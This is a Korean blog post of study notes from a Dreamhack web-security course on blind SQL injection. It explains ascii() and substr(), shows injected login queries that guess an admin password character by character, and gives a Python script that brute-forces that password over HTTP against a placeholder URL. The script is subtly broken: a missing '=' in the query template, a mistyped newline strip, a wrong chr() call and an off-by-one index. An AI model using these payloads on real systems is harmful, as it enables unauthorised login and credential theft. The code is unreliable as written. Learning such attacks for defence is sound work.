Blind SQL Injection

2022. 7. 8. 02:35·보안/웹·모바일

dreamhack web 공부

Blind SQL Injection 시 사용하는 함수

- ascii(''): 전달된 문자를 아스키 형태로 반환. ascii('a')=97

- substr(): 문자열에서 지정한 위치부터 길이까지의 값을 가져온다.

- substr('문자열',시작위치,몇개)

SELECT * FROM user_table WHERE uid='admin' and ascii(substr(upw,1,1))=114-- ' and upw='';

uid=admin이고 substr(upw칼럼의 첫번째 글자)=114(r) 인 것이 있느니뇨?

SELECT * FROM user_table WHERE uid='admin' and ascii(substr(upw,1,1))=115-- ' and upw=''; 

uid=admin이고 substr(ipw칼럼의 첫번째 글자)=115(s) 인 것이 있냐?

이런식임

한 바이트 씩 비교하여 공격하기에 시간이 오래 걸린다.

= 스크립트를 짜야 한다.

<공격 스크립트 짤 때 유용한 lib>

requests 모듈 (HTTP 통신 위한 py lib)
해당 모듈을 통해 http 요청 보낼 수 있으며 응답 확인도 가능함.

- requests.get: GET 메소드를 사용하여 HTTP 요청을 보내는 함수. URL, Header, Parameter를 함께 전송할 수 있음.

- request.post: POST 메소드 사용하여 HTTP 요청을 보내는 함수. URL, Header, Body(data)를 함께 전송할 수 있음.


Blind SQL Injection 스크립트 작성하기

import requests
import string

url="http://example.com/loging"
params={
    'uid': '',
    'upw': ''
}

#패스워드에 포함될 수 있는 문자를 string 모듈을 통해 생성
tc=string.ascii_letters + string.digits+string.punctuation
#abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~

query= '''
admin' and ascii(substr(upw,{idx},1)){val}--
'''

password=''

# 한 바이트씩 모든 문자를 비교하는 반복문.
for idx in range(0,20):
    for ch in tc:
        params['uid'] = query.format(idx=idx, val=ord(ch)).strip("/n")
        c=requests.get(url, params=params)
        print(c.request.url)
        
        # 반복문 실행 중 반환 결과가 참일 경우 페이지 내에서 Login Success 문자열을 찾는다.
        # 해당 결과를 반환한 문자 ch를 password 변수에 저장함.
        if c.text.find("Login success") != -1:
            password += chr(ch)
            break
print(f"Password is {password}")
저작자표시 (새창열림)

'보안 > 웹·모바일' 카테고리의 다른 글

Error-based SQL Injection 실습  (0) 2022.07.12
Non-Relational DBMS이란  (0) 2022.07.08
CSRF(Cross-Site Request Forgery)  (0) 2022.07.07
XSS(Cross-Site Scripting) 기초 공부  (0) 2022.07.07
동일 출처 정책(Same Origin Policy)  (0) 2022.07.07
'보안/웹·모바일' 카테고리의 다른 글
  • Error-based SQL Injection 실습
  • Non-Relational DBMS이란
  • CSRF(Cross-Site Request Forgery)
  • XSS(Cross-Site Scripting) 기초 공부
병뚜
병뚜
열정!
  • 병뚜
    열려라 뚜껑
    병뚜
  • 전체
    오늘
    어제
    • all (372)
      • 일상X사랑X돈 (0)
        • 보안이슈 (114)
        • 뜨거운감자 (9)
        • 맛집 (2)
        • 혼잣말 (16)
      • 보안 (87)
        • 웹·모바일 (46)
        • 인프라 (19)
        • 리버싱 (8)
        • Security-Gym (10)
        • 리뷰 (4)
      • 프로그래밍 (66)
        • python (14)
        • java (12)
        • js (40)
      • System (47)
        • OS (14)
        • 침투 (33)
      • Play (20)
        • wargame (20)
      • 기타 (10)
  • 블로그 메뉴

    • 홈
    • 태그
    • 방명록
  • 링크

  • 공지사항

  • 인기 글

  • 태그

    혼공단
    it이슈
    리버싱
    커널디버깅
    보안이슈
    파이썬공부
    IT뉴스
    혼공학습단
    파이썬
    랜섬웨어
    파이썬초보
    정보보안교육
    보안뉴스
    혼자공부하는파이썬
    jwt
    공급망공격
    윈도우인터널스
    혼공파
    리버싱초보
    뉴스요약
    악성코드
    정보보안
    kisa
    파이썬입문
    windows internals
    프로세스
    드림핵리버싱
    자바스크립트 상속
    정보보호
    혼공
  • 최근 댓글

  • 최근 글

  • hELLO· Designed By정상우.v4.10.3
병뚜
Blind SQL Injection
상단으로

티스토리툴바